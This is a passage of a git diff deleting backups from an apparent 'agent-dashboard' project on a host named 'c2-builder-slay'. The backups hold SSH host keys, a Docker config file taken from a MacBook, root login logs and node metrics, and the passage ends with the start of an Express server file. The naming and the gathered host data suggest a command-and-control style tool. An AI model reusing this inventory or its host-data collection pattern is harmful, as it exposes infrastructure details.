AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.31 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.85 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEavuWEueO/Nq05svXjmIiE4ZTO65oWs8vXwISZIrcne\n10.30.20.85 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH1M7Dy4IhEZjxQOPpWXweQ3E6M9ZaW/fwlbSwJbxWag3Su5NJBa2K7QTlXbbzz444WOYlVm4AXdqPQrnb56Ucd3is6BTLu4XB/mJzgS/7WOJ4JrGNDgYg+NMoS2Si+ktrI0LiEGh9FiAa2OcOrNbRL/VD9pjMHo+WQULJ3jqOP38d6XThHPdi5RjcXl6P7hp5ckGLiX/sYaTUs4+YevQmJQuP0NbWYpPT6LjE1XnffN/7ztgeN/3smMNhJ1rnE+FNJPZIGraU1FgqLMugpG+k38j0xljrKYGCyRu3BpGiY5HdM1BEbRuh8aIqkIhJoEh9fvg+KXTy+EjkMpEd8fa/3BIGtWFXFmqhVrVX5Jiws+yKfp5gxN0jGZit5fIO3kCs+Z5vC3sj1AZDFDrvEkSfw0duIKsgKVUKR1Sgl6siPMKEm3XcGIusbTxYlF3JlQYasZMUqxpjzC6TZK8U8cSPh1iPL2xgxhK2ujqNcT2gnN9xipRD+leanz7U4lHy7t8=\n10.30.20.85 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNiIIuwiLvLc81EsLCiaCY6NDV1xX+FtWCN2+Xej+WmO5JnnCesn13Xs6LfRYrbNLifqMHziqOx2XiX0s+dv9Fg=\n10.30.20.89 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.32 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.82 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAQ1Ggm/76MP0NXAWb9394e4Tfu7EkTFyMAEOSuEmLFp\n10.30.20.82 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDBpHJOmysJXTkLzZQZqaK+qqsrAqfwV6OisPoRDkZPcfYDg1VJbF19FC8Dpzh4DOjgarrJW1XZy+LyuEHQ0Ry4ikUGVKN+OqqY6GPvM7mPPsnR8k1x8rKUnCOcQzoEkI5TZ5DPk2op+IqVnlqj+IQD1JV5Xw2eSm3eXoCTSa3WByiU9HT3ltVEDmUjRghl3yFy+ByT2sd8ScRa9iQp579RYW77vuMjOch90XQ8ocxl/aNSImB+23VXQpOyT63Mn+92tBkXEyui6fXqtDQbCozTOerISdCbYPglV3F9Ftk1HDo1D45KqWmxZL9greKyVJWMRWwOuDgOSoaAONSb8ptr/xbPu+mn1g9pUECNmrrey5G5ELtJYY1z1itXg6UuhN4kRU6129WHpDjUEwWI2jxWe2wvpWJtoQ2BLCkg1Z2KrKynqLT2s2DIBJqsVuzgZZvg3w5JCkd3gDfs6+g/NsZI9/w2lbGNYkc5rR0i85cSscXsj66Jni9EkL8b7eaxd8=\n10.30.20.82 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHis24IHkTfPezjER/a8TlZVBZ2/iR0G66Kr/QGFAmpgvOV//j+CL/GEH6y2ybICU+ATbnv5zCvL1+MDqauSC6E=\n10.30.20.81 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH67olZWSm6UvC02n2giV/20V6mAipuLy8exVv+PxSJg\n10.30.20.81 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsiqriavJ6jOCmUHRrYeHRtbUFJ9r2jtbnbS+dg77oFeN2i3G9j9G7EKhlmXIeE45kFRGiEuhZlFc2/0QZ63J8tgO8XDMl+Oo8eCy7YDP8Le+AaAXKgz7MgB6EtQtThVyS4c2sx/iz0rU38KQcFmOPyfTZj3gawpjRv36SWzj77VE5cgaSRVztUruTl2P8p7jh2WYY9qEvzYNHBJ4LM70IgVNX1AzKIfznyxBDLKNOGOXQQ0ks+lM61BXbQBHzfqqcxCaNH2PVXPKnqLKu/7sC4n2xIMxqomXJ3N2f6sYXOZqniVte9POt8q4Q327tmN6TdN9RoawAOkc4VANqtzhoQZ5VbzRZHvOjiuISikBFwmyQHQYtlA1K9pn3HrA9Q2hDqtTI8sDAut3Ipz6j6mR2sk8+pzz3ygDdVrof5hTLbN59yaV8UsW5wVsrDEJYwI48gRmS7HOBUdlcbLbkzvg6MBQxvWC8YCmecJP6Imt+P9wtgtwM02Ugj2/9P1FqVSU=\n10.30.20.81 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJUOoMG24cYWvKzivihLgw4ieL6lNGk94YTajiJ4xShwyR6JkkMFxd6YJrQRymxeT3RI5iR/d0iBjvOWQ14TIlY=\n10.30.20.187 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2W8XeY/TH2ikR8w3FLrmfcXDe+2L/d4FiFFRPWNfaD\n10.30.20.194 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILnSlq6Bu6t8MtKWo79Zgo1v+3yBX5lmoAFqmJRUbWfQ\n10.30.20.194 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCNmVKhnsDxicgB/T3sdlVo90xUyOpSuduiDq1AGLxCbyF0eesQzTxD2NWs8G2TQ4Pe0gsXZuFkUCA3erWPt5p1qhm9XSswjCW+pRZ2FE5M26HG6QT1gRiZ0KcxqKLniFD5/MgJNfCiXXH7LgwvU9eMEm1PZ6eozYN1AnyIVytq0Z0uLxrINqmBjrugd1pUhpZQNjEZ+nX8IpM4dlGl7NnNRadpAohKX9Op8T1fug0onq8FNqb4UkAxpxPr3tjkbJSvGYa9XQHZb6jgGZMM0YjQV+T5MsqkgUXmb8+pimq0nuXXuNL1Pf3WNz7bBraRUEtCINawOS1yQ5b+oYVLJEzJGioDcHbRz7PwnYqV2rHOs9B9lFHJfeC1jC/tVfDRxrVRY1qPKhkWR/LBfrWOQORJ/BfdYywbDESUHoH0Zo8GaClrNpkq7z3ZFnqkC3adWkcNKDwOgjpxry4v3Qgs9NgT5Wbklruyl6NsflYAR3ze+XJlcP4lbReH7HI6N8A4w2M=\n10.30.20.194 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGbUV1XPCwsBrTDKnVycmCaliB34b/goi+O1sLkA87I3W2BRFzYPEej0+J6EqxUJUogjvRSxONQv4hZ+GpvsKrs=\n10.30.20.49 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt9B4EpvEPRaw6uZpBbWmn+1rIVpkEzOYXrFIcfdn7UH84IGKwLd9oic6LVD75f2JQhMlk+4/tQKEYzPdQUI9c2AD3Yp/UyTLgGh9FcvgUCIw0owU35Xbbp0yIq3sUC79jOPDo4268AgFDWwe98GCqmFy9osVqncb1GbtBViT+x5whcE3+nYSNtxzzF3PNB7Lb4yJHki1SYKFJ9W0fjQdvTkd/Ce0jEqyfdiGN/U49n3qdo6vupDIw77gnQhemAnj/GhtTwAP4qp5dcHhyuSWwTAcA3qpJAd594sZALqGqUuQjh+uYSPxjP/WPSN28tmsL/4xhPDEjJ7SEesTt5xzLQ==\n10.30.20.186 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJDFwKEU2IA+DmRJbdos66Bvm+TJriDRcd1SIHQlz7oQ\n10.30.20.186 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgtaybkSlu3yODOWk4nveNnQdN/ozDR/cxXdO0pttgdmQOxYAatAH0gEJ99juLcqVxGLBxsl4zYwKpJW7D/4f+W2jV5D/9E/QJO6gGHhj03JEm1ygAvr3Dmi4qmj0+GJf4I0bzZ+pQ8mL/F4NoKiXKgHxvKDwHDOVsj32MMydPNs+L/F7JepYuH3Fdq58XVO13jYRBNXxvoi+LC2LJXO2Sl6EWeNCetVjO3gNsNQHrQEgaFGrRL+7HnXkPqOUxFVOCIR1DlNfS1oS4osyNkeDb4FXI7o3nR+ov1LAippahKird2jc8pEkynPDKguhKbIPt6EpKDqIUYJ4KhV1REJ+Sw8SRViu5eDu8h2tubMlvNFCk9gSmYrxMUMTZwXi92DgAi59wszOL5IK1H4AqndYi4kONSAsIhzHrK2GawBuBVqdCvVpfd3j8zLZ7/itChlnDiXXzqzwEu+BreTiaahi3/i93pwDezDy9X5L4OncMDwkPQMU3/10GB/naPAH1FF8=\n10.30.20.186 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAI","timestamp":1785816388232},{"nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","type":"cloud:config.json","data":"{\n\t\"auths\": {},\n\t\"currentContext\": \"colima\"\n}","timestamp":1785816388232}] \ No newline at end of file diff --git a/backups/pre-wipe-20260929/inputs.json b/backups/pre-wipe-20260929/inputs.json deleted file mode 100644 index 0637a08..0000000 --- a/backups/pre-wipe-20260929/inputs.json +++ /dev/null @@ -1 +0,0 @@ -[] \ No newline at end of file diff --git a/backups/pre-wipe-20260929/logs.json b/backups/pre-wipe-20260929/logs.json deleted file mode 100644 index 6401fc6..0000000 --- a/backups/pre-wipe-20260929/logs.json +++ /dev/null @@ -1 +0,0 @@ -[{"id":"log-1790192267056-7a","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192267056,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (10.30.20.69:57975)."},{"id":"log-1790192267056-od","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192267056,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: Accepted password for root from 10.30.20.69 port 57975 ssh2"},{"id":"log-1790192267056-ra","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192267056,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)"},{"id":"log-1790192267056-up","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192267056,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd-logind[107]: New session 248416 of user root."},{"id":"log-1790192267056-m7","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192267056,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started Session 248416 of User root."},{"id":"log-1790192282780-xf","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192282780,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (10.30.20.69:57975)."},{"id":"log-1790192282780-z2","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192282780,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: Accepted password for root from 10.30.20.69 port 57975 ssh2"},{"id":"log-1790192282780-cf","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192282780,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)"},{"id":"log-1790192282780-vm","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192282780,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd-logind[107]: New session 248416 of user root."},{"id":"log-1790192282780-p7","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192282780,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started Session 248416 of User root."},{"id":"log-1790192298528-i7","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192298528,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (10.30.20.69:57975)."},{"id":"log-1790192298528-oi","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192298528,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: Accepted password for root from 10.30.20.69 port 57975 ssh2"},{"id":"log-1790192298528-yf","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192298528,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)"},{"id":"log-1790192298528-ra","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192298528,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd-logind[107]: New session 248416 of user root."},{"id":"log-1790192298528-qd","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192298528,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started Session 248416 of User root."},{"id":"log-1790192314253-0c","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192314253,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (10.30.20.69:57975)."},{"id":"log-1790192314253-x8","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192314253,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: Accepted password for root from 10.30.20.69 port 57975 ssh2"},{"id":"log-1790192314253-bd","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192314253,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)"},{"id":"log-1790192314253-g7","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192314253,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd-logind[107]: New session 248416 of user root."},{"id":"log-1790192314253-7z","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192314253,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started Session 248416 of User root."},{"id":"log-1790192329978-xk","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192329978,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (10.30.20.69:57975)."},{"id":"log-1790192329978-nn","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192329978,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: Accepted password for root from 10.30.20.69 port 57975 ssh2"},{"id":"log-1790192329978-hq","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192329978,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)"},{"id":"log-1790192329978-s6","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192329978,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd-logind[107]: New session 248416 of user root."},{"id":"log-1790192329978-26","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192329978,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started Session 248416 of User root."},{"id":"log-1790192345692-ap","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192345692,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (10.30.20.69:57975)."},{"id":"log-1790192345692-q8","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192345692,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: Accepted password for root from 10.30.20.69 port 57975 ssh2"},{"id":"log-1790192345692-10","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192345692,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay sshd[17514]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)"},{"id":"log-1790192345692-3j","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192345692,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd-logind[107]: New session 248416 of user root."},{"id":"log-1790192345692-3s","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192345692,"entry":"2026-09-23T19:37:46+0000 c2-builder-slay systemd[1]: Started Session 248416 of User root."},{"id":"log-1790192361393-4w","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192361393,"entry":"2026-09-23T19:39:16+0000 c2-builder-slay sshd[17514]: Received disconnect from 10.30.20.69 port 57975:11: disconnected by user"},{"id":"log-1790192361393-56","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192361393,"entry":"2026-09-23T19:39:16+0000 c2-builder-slay sshd[17514]: Disconnected from user root 10.30.20.69 port 57975"},{"id":"log-1790192361393-3v","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192361393,"entry":"2026-09-23T19:39:16+0000 c2-builder-slay sshd[17514]: pam_unix(sshd:session): session closed for user root"},{"id":"log-1790192361393-3w","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192361393,"entry":"2026-09-23T19:39:16+0000 c2-builder-slay systemd[1]: ssh@23-10.30.20.44:22-10.30.20.69:57975.service: Deactivated successfully."},{"id":"log-1790192361393-7p","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192361393,"entry":"2026-09-23T19:39:16+0000 c2-builder-slay systemd-logind[107]: Session 248416 logged out. Waiting for processes to exit."},{"id":"log-1790192377117-ie","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192377117,"entry":"2026-09-23T19:39:34+0000 c2-builder-slay node[17421]: at done (/root/agent-dashboard/node_modules/raw-body/index.js:227:7)"},{"id":"log-1790192377117-6q","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192377117,"entry":"2026-09-23T19:39:34+0000 c2-builder-slay node[17421]: at IncomingMessage.onEnd (/root/agent-dashboard/node_modules/raw-body/index.js:287:7)"},{"id":"log-1790192377117-02","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192377117,"entry":"2026-09-23T19:39:34+0000 c2-builder-slay node[17421]: at IncomingMessage.emit (node:events:509:28)"},{"id":"log-1790192377117-cm","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192377117,"entry":"2026-09-23T19:39:34+0000 c2-builder-slay node[17421]: at endReadableNT (node:internal/streams/readable:1729:12)"},{"id":"log-1790192377117-i3","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192377117,"entry":"2026-09-23T19:39:34+0000 c2-builder-slay node[17421]: at process.processTicksAndRejections (node:internal/process/task_queues:90:21)"},{"id":"log-1790192392848-ga","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192392848,"entry":"2026-09-23T19:39:48+0000 c2-builder-slay systemd-logind[107]: Removed session 248450."},{"id":"log-1790192392848-of","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192392848,"entry":"2026-09-23T19:39:48+0000 c2-builder-slay sshd[17675]: Accepted password for root from 10.30.20.69 port 58491 ssh2"},{"id":"log-1790192392848-rl","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192392848,"entry":"2026-09-23T19:39:48+0000 c2-builder-slay sshd[17675]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)"},{"id":"log-1790192392848-ej","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192392848,"entry":"2026-09-23T19:39:48+0000 c2-builder-slay systemd-logind[107]: New session 248451 of user root."},{"id":"log-1790192392848-ay","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790192392848,"entry":"2026-09-23T19:39:48+0000 c2-builder-slay systemd[1]: Started Session 248451 of User root."},{"id":"log-1790204196343-qk","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204196343,"entry":"2026-09-23T22:56:35+0000 c2-builder-slay systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (10.30.20.69:53151)."},{"id":"log-1790204196343-4z","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204196343,"entry":"2026-09-23T22:56:35+0000 c2-builder-slay sshd[18143]: Accepted password for root from 10.30.20.69 port 53151 ssh2"},{"id":"log-1790204196343-9b","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204196343,"entry":"2026-09-23T22:56:35+0000 c2-builder-slay sshd[18143]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)"},{"id":"log-1790204196343-rm","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204196343,"entry":"2026-09-23T22:56:35+0000 c2-builder-slay systemd-logind[107]: New session 252758 of user root."},{"id":"log-1790204196343-3z","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204196343,"entry":"2026-09-23T22:56:35+0000 c2-builder-slay systemd[1]: Started Session 252758 of User root."},{"id":"log-1790204212068-ft","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204212068,"entry":"2026-09-23T22:56:44+0000 c2-builder-slay sshd[18143]: Received disconnect from 10.30.20.69 port 53151:11: disconnected by user"},{"id":"log-1790204212068-fb","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204212068,"entry":"2026-09-23T22:56:44+0000 c2-builder-slay sshd[18143]: Disconnected from user root 10.30.20.69 port 53151"},{"id":"log-1790204212068-9k","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204212068,"entry":"2026-09-23T22:56:44+0000 c2-builder-slay sshd[18143]: pam_unix(sshd:session): session closed for user root"},{"id":"log-1790204212068-ja","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204212068,"entry":"2026-09-23T22:56:44+0000 c2-builder-slay systemd[1]: ssh@39-10.30.20.44:22-10.30.20.69:53151.service: Deactivated successfully."},{"id":"log-1790204212068-6z","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204212068,"entry":"2026-09-23T22:56:44+0000 c2-builder-slay systemd-logind[107]: Session 252758 logged out. Waiting for processes to exit."},{"id":"log-1790204228484-gw","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204228484,"entry":"2026-09-23T22:57:08+0000 c2-builder-slay sshd[18209]: pam_unix(sshd:session): session closed for user root"},{"id":"log-1790204228484-99","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204228484,"entry":"2026-09-23T22:57:08+0000 c2-builder-slay systemd[1]: ssh@41-10.30.20.44:22-10.30.20.69:53324.service: Deactivated successfully."},{"id":"log-1790204228484-i6","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204228484,"entry":"2026-09-23T22:57:08+0000 c2-builder-slay systemd[1]: session-252768.scope: Deactivated successfully."},{"id":"log-1790204228484-n2","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204228484,"entry":"2026-09-23T22:57:08+0000 c2-builder-slay systemd-logind[107]: Session 252768 logged out. Waiting for processes to exit."},{"id":"log-1790204228485-8p","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","timestamp":1790204228485,"entry":"2026-09-23T22:57:08+0000 c2-builder-slay systemd-logind[107]: Removed session 252768."}] \ No newline at end of file diff --git a/backups/pre-wipe-20260929/nodes.json b/backups/pre-wipe-20260929/nodes.json deleted file mode 100644 index 422cd78..0000000 --- a/backups/pre-wipe-20260929/nodes.json +++ /dev/null @@ -1 +0,0 @@ -[["node-c2-builder-slay-10302044",{"id":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","platform":"linux","arch":"x86_64","osName":"Linux 6.14.11-9-pve","ip":"10.30.20.44","status":"offline","firstSeen":1790204196083,"lastHeartbeat":1790204232941,"cpuUsage":81,"memUsage":2,"diskUsage":6,"uptime":843849,"processCount":27,"tags":["Default"],"heartbeatInterval":2,"metricsHistory":[{"timestamp":"10:56:36 PM","cpu":65,"mem":2,"disk":6},{"timestamp":"10:56:41 PM","cpu":54,"mem":2,"disk":6},{"timestamp":"10:56:46 PM","cpu":46,"mem":2,"disk":6},{"timestamp":"10:56:52 PM","cpu":20,"mem":2,"disk":6},{"timestamp":"10:56:57 PM","cpu":17,"mem":2,"disk":6},{"timestamp":"10:56:59 PM","cpu":34,"mem":2,"disk":6},{"timestamp":"10:57:01 PM","cpu":37,"mem":2,"disk":6},{"timestamp":"10:57:04 PM","cpu":26,"mem":2,"disk":6},{"timestamp":"10:57:06 PM","cpu":27,"mem":2,"disk":6},{"timestamp":"10:57:08 PM","cpu":52,"mem":2,"disk":6},{"timestamp":"10:57:10 PM","cpu":54,"mem":2,"disk":6},{"timestamp":"10:57:12 PM","cpu":81,"mem":2,"disk":6}]}],["node-macbook-air.local-10302069",{"id":"node-macbook-air.local-10302069","hostname":"MacBook-Air.local","platform":"darwin","arch":"arm64","osName":"Darwin 25.3.0","ip":"10.30.20.69","status":"online","firstSeen":1790442416283,"lastHeartbeat":1790650147723,"cpuUsage":26,"memUsage":85,"diskUsage":90,"uptime":208019,"processCount":986,"tags":["Default"],"heartbeatInterval":5,"metricsHistory":[{"timestamp":"2:46:12 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:46:18 AM","cpu":26,"mem":86,"disk":90},{"timestamp":"2:46:24 AM","cpu":23,"mem":80,"disk":90},{"timestamp":"2:46:30 AM","cpu":24,"mem":70,"disk":90},{"timestamp":"2:46:36 AM","cpu":23,"mem":70,"disk":90},{"timestamp":"2:46:43 AM","cpu":24,"mem":86,"disk":90},{"timestamp":"2:46:49 AM","cpu":25,"mem":85,"disk":90},{"timestamp":"2:46:55 AM","cpu":24,"mem":85,"disk":90},{"timestamp":"2:47:01 AM","cpu":24,"mem":85,"disk":90},{"timestamp":"2:47:07 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:47:13 AM","cpu":34,"mem":86,"disk":90},{"timestamp":"2:47:19 AM","cpu":23,"mem":86,"disk":90},{"timestamp":"2:47:25 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:47:31 AM","cpu":23,"mem":86,"disk":90},{"timestamp":"2:47:37 AM","cpu":25,"mem":86,"disk":90},{"timestamp":"2:47:43 AM","cpu":30,"mem":85,"disk":90},{"timestamp":"2:47:48 AM","cpu":28,"mem":86,"disk":90},{"timestamp":"2:47:54 AM","cpu":25,"mem":85,"disk":90},{"timestamp":"2:48:00 AM","cpu":28,"mem":86,"disk":90},{"timestamp":"2:48:06 AM","cpu":42,"mem":86,"disk":90},{"timestamp":"2:48:12 AM","cpu":29,"mem":86,"disk":90},{"timestamp":"2:48:18 AM","cpu":38,"mem":85,"disk":90},{"timestamp":"2:48:24 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:48:30 AM","cpu":32,"mem":85,"disk":90},{"timestamp":"2:48:36 AM","cpu":29,"mem":85,"disk":90},{"timestamp":"2:48:44 AM","cpu":50,"mem":86,"disk":90},{"timestamp":"2:48:49 AM","cpu":30,"mem":86,"disk":90},{"timestamp":"2:48:55 AM","cpu":35,"mem":85,"disk":90},{"timestamp":"2:49:01 AM","cpu":37,"mem":86,"disk":90},{"timestamp":"2:49:07 AM","cpu":26,"mem":85,"disk":90}]}]] \ No newline at end of file diff --git a/backups/pre-wipe-20260929/schedules.json b/backups/pre-wipe-20260929/schedules.json deleted file mode 100644 index 0637a08..0000000 --- a/backups/pre-wipe-20260929/schedules.json +++ /dev/null @@ -1 +0,0 @@ -[] \ No newline at end of file diff --git a/backups/public-snapshot-20260910-112422.tar.gz b/backups/public-snapshot-20260910-112422.tar.gz deleted file mode 100644 index cac673d..0000000 Binary files a/backups/public-snapshot-20260910-112422.tar.gz and /dev/null differ diff --git a/backups/server.js.pre-ver-1790729139 b/backups/server.js.pre-ver-1790729139 deleted file mode 100644 index 5a6c8c8..0000000 --- a/backups/server.js.pre-ver-1790729139 +++ /dev/null @@ -1,1199 +0,0 @@ -const express = require('express'); -const http = require('http'); -const WebSocket = require('ws'); -const path = require('path'); -const cors = require('cors'); -const os = require('os'); -const multer = require('multer'); -const fs = require('fs'); - -const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } }); - -const app = express(); -const server = http.createServer(app); -const wss = new WebSocket.Server({ server }); - -const PORT = process.env.PORT || 3000; -const PUBLIC_URL = process.env.PUBLIC_URL || null; -const DATA_DIR = path.join(__dirname, 'data'); - -// Ensure data directory exists -if (!fs.existsSync(DATA_DIR)) 